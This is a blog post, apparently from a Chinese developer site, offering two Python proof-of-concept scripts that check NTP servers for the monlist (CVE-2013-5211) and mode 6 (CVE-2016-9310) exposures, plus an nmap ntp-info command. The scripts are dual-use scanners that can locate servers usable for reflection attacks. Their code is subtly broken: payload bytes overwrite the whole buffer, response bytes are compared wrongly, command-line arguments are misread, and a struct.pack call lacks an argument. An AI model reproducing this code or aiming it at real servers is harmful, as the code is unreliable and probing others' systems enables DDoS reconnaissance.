NTP-poc(CVE-2013-5211)(CVE-2016-9310)

import sys
import socket
import struct
import time

def check_ntp_monlist_vulnerability(target_ip, target_port=123, timeout=5):
    """
    检测目标 NTP 服务器是否存在 CVE-2013-5211 (Monlist) 漏洞
    
    :param target_ip: 目标服务器 IP 地址
    :param target_port: NTP 端口,默认 123
    :param timeout: 超时时间,默认 5 秒
    :return: bool, 如果存在漏洞返回 True,否则返回 False
    """
    try:
        # 创建 UDP socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        
        # 构造 NTP Mode 7 (Control Message) 请求包
        # NTP 头部结构简化版用于 monlist 查询
        # Flag: 0x17 (Mode 7, Implementation 3 (XNTPD), Response bit off, Error bit off, More bit off, Opcode 0)
        # 实际上 monlist 请求通常使用特定的 opcode 和 format
        
        # 标准的 monlist 请求 payload (REQ_MON_GETLIST)
        # 这是一个典型的 NTPv2/v3/v4 控制报文结构
        # Byte 0: Flags (0x17 = 0001 0111 -> Mode 7, Impl 3)
        # Byte 1: Request Code (0x00 for MON_GETLIST in some implementations, or specific opcodes)
        # 注意:不同的 ntpd 版本对 payload 的具体字节要求可能略有不同,但 0x17 开头是常见的探测特征
        
        # 构造一个典型的 monlist 探测包
        # 参考: https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ntp/ntp_monlist.rb
        # Payload: \x17\x00\x03\x2a + padding
        payload = bytearray(48)
        payload = 0x17  # Flags: Mode 7 (Control), Implementation 3 (XNTPD)
        payload = 0x00  # Request Code: 0 (MON_GETLIST)
        payload = 0x03  # Sequence Number (arbitrary)
        payload = 0x2a  # Status/Implementation specific
        
        # 发送请求
        print(f"[*] Sending MONLIST request to {target_ip}:{target_port}...")
        sock.sendto(payload, (target_ip, target_port))
        
        # 接收响应
        try:
            data, addr = sock.recvfrom(65535)
            
            # 检查响应是否包含 monlist 特征
            # 有效的 monlist 响应通常比较大,且包含多个 IP 条目
            # 简单的判断:如果收到了响应,且响应长度大于普通 NTP 时间同步包(48字节)
            # 更准确的判断需要解析 NTP Control Message 头部
            
            if len(data) > 48:
                # 进一步检查响应头部的 Flags
                # 响应包的第一个字节应该是 0x97 (Mode 7, Impl 3, Response Bit Set)
                if data == 0x97:
                    print(f"[+] VULNERABLE: {target_ip} responded with a MONLIST packet (Size: {len(data)} bytes)")
                    print(f"    First few bytes of response: {data[:10].hex()}")
                    return True
                else:
                    print(f"[-] NOT VULNERABLE: {target_ip} responded but not a valid MONLIST response (Flag: {hex(data)})")
                    return False
            else:
                print(f"[-] NOT VULNERABLE: {target_ip} responded with a small packet (Size: {len(data)} bytes), likely standard NTP or error.")
                return False
                
        except socket.timeout:
            print(f"[-] NOT VULNERABLE: {target_ip} did not respond (Timeout).")
            return False
        except Exception as e:
            print(f"[-] Error receiving data: {e}")
            return False
            
    except Exception as e:
        print(f"[-] Error creating socket or sending: {e}")
        return False
    finally:
        if 'sock' in locals():
            sock.close()

def main():
    if len(sys.argv) < 2:
        print("Usage: python cve_2013_5211_poc.py <target_ip>")
        print("Example: python cve_2013_5211_poc.py 192.168.1.1")
        sys.exit(1)
        
    target = sys.argv
    print(f"Starting CVE-2013-5211 Monlist Vulnerability Check against {target}")
    print("-" * 50)
    
    is_vulnerable = check_ntp_monlist_vulnerability(target)
    
    print("-" * 50)
    if is_vulnerable:
        print("[!] WARNING: The target appears to be vulnerable to CVE-2013-5211.")
        print("[!] Recommendation: Upgrade NTP to version 4.2.7p26 or later, or disable 'monitor' in ntp.conf.")
    else:
        print("[*] The target does not appear to be vulnerable (or is filtered/unreachable).")

if __name__ == "__main__":
    main()

  #执行条件python3.8以上版本

python cve-2013-5211.py <目标ip>

#ntp版本信息获取

nmap -sU -p 123 --script ntp-info <目标IP>

CVE-2016-9310->poc

import socket
import struct
import sys
import time

def send_ntp_mode6_request(target_ip, target_port=123, timeout=5):
    """
    发送 NTP Mode 6 (Control Message) 请求以检测服务是否响应
    """
    try:
        # 创建 UDP socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        
        # 构造 NTP Mode 6 请求包
        # NTP Control Message Header (12 bytes minimum)
        # Bits 0-2: Version Number (3) -> 011
        # Bit 3: Mode (6 for Control) -> 110
        # So first byte: 0001 1011 = 0x1B? No, let's look at standard structure.
        # Actually, standard NTP packet header is different from Control Message.
        # Control Message Format:
        # 0                   1                   2                   3
        # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |R|M| VN  | Mode|A|  Opcode     |   Sequence    |   Status      |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |             Association ID            |             Offset    |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |             Count               |             Data ...        |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        
        # R=0 (Response), M=0 (More), VN=3 (Version 3), Mode=6 (Control)
        # Byte 0: 00 011 110 = 0x1E
        # A=0 (Authenticated), Opcode=1 (Read Status/Variables)
        # Byte 1: 0 000001 = 0x01
        # Sequence: 0
        # Byte 2: 0x00
        # Status: 0
        # Byte 3: 0x00
        # Assoc ID: 0
        # Byte 4-5: 0x00 0x00
        # Offset: 0
        # Byte 6-7: 0x00 0x00
        # Count: 0
        # Byte 8-9: 0x00 0x00
        
        # Constructing a simple "Read Variables" request
        payload = struct.pack('!BBBBHHHH', 
                              0x1E,  # R=0, M=0, VN=3, Mode=6
                              0x01,  # A=0, Opcode=1 (Read Status)
                              0x00,  # Sequence
                              0x00,  # Status
                              0x00,  # Association ID
                              0x00,  # Offset
                              0x00   # Count
                             )
        
        # Add some padding or specific variable name if needed, but empty read often works for detection
        # Some implementations require a null terminator or specific format for data field if count > 0
        # For simple detection, sending the header is often enough to trigger a response or error
        
        print(f"[*] Sending Mode 6 Control Request to {target_ip}:{target_port}...")
        sock.sendto(payload, (target_ip, target_port))
        
        try:
            data, addr = sock.recvfrom(65535)
            
            if len(data) >= 12:
                # Parse response header
                resp_byte0 = data
                mode = resp_byte0 & 0x07
                version = (resp_byte0 >> 3) & 0x07
                
                if mode == 6:
                    print(f"[+] VULNERABLE/EXPOSED: Received Mode 6 response from {addr}")
                    print(f"    Response Length: {len(data)} bytes")
                    print(f"    Version: {version}, Mode: {mode}")
                    # Check for opcode in response (byte 1)
                    resp_byte1 = data
                    opcode = resp_byte1 & 0x1F
                    print(f"    Opcode: {opcode}")
                    return True
                else:
                    print(f"[-] NOT VULNERABLE: Received response but not Mode 6 (Mode: {mode})")
                    return False
            else:
                print(f"[-] NOT VULNERABLE: Response too short ({len(data)} bytes)")
                return False
                
        except socket.timeout:
            print(f"[-] NOT VULNERABLE: No response received (Timeout). Service may be filtered or Mode 6 disabled.")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
    finally:
        if 'sock' in locals():
            sock.close()

def main():
    if len(sys.argv) < 2:
        print("Usage: python cve_2016_9310_poc.py <target_ip> [port]")
        print("Example: python cve_2016_9310_poc.py 192.168.1.1")
        sys.exit(1)
        
    target_ip = sys.argv
    target_port = int(sys.argv) if len(sys.argv) > 2 else 123
    
    print(f"Starting CVE-2016-9310 (NTP Mode 6 Exposure) Check against {target_ip}:{target_port}")
    print("-" * 60)
    
    is_exposed = send_ntp_mode6_request(target_ip, target_port)
    
    print("-" * 60)
    if is_exposed:
        print("[!] WARNING: The target responds to NTP Mode 6 control queries.")
        print("[!] This indicates potential vulnerability to CVE-2016-9310 and related issues.")
        print("[!] Recommendation: Disable Mode 6 queries using 'restrict default noquery' in ntp.conf")
    else:
        print("[*] The target does not appear to respond to unauthenticated Mode 6 queries.")
        print("[*] This is the expected secure configuration.")

if __name__ == "__main__":
    main()

  

posted @ 2026-08-19 17:30  LalaTina  阅读(7)  评论(0)    收藏  举报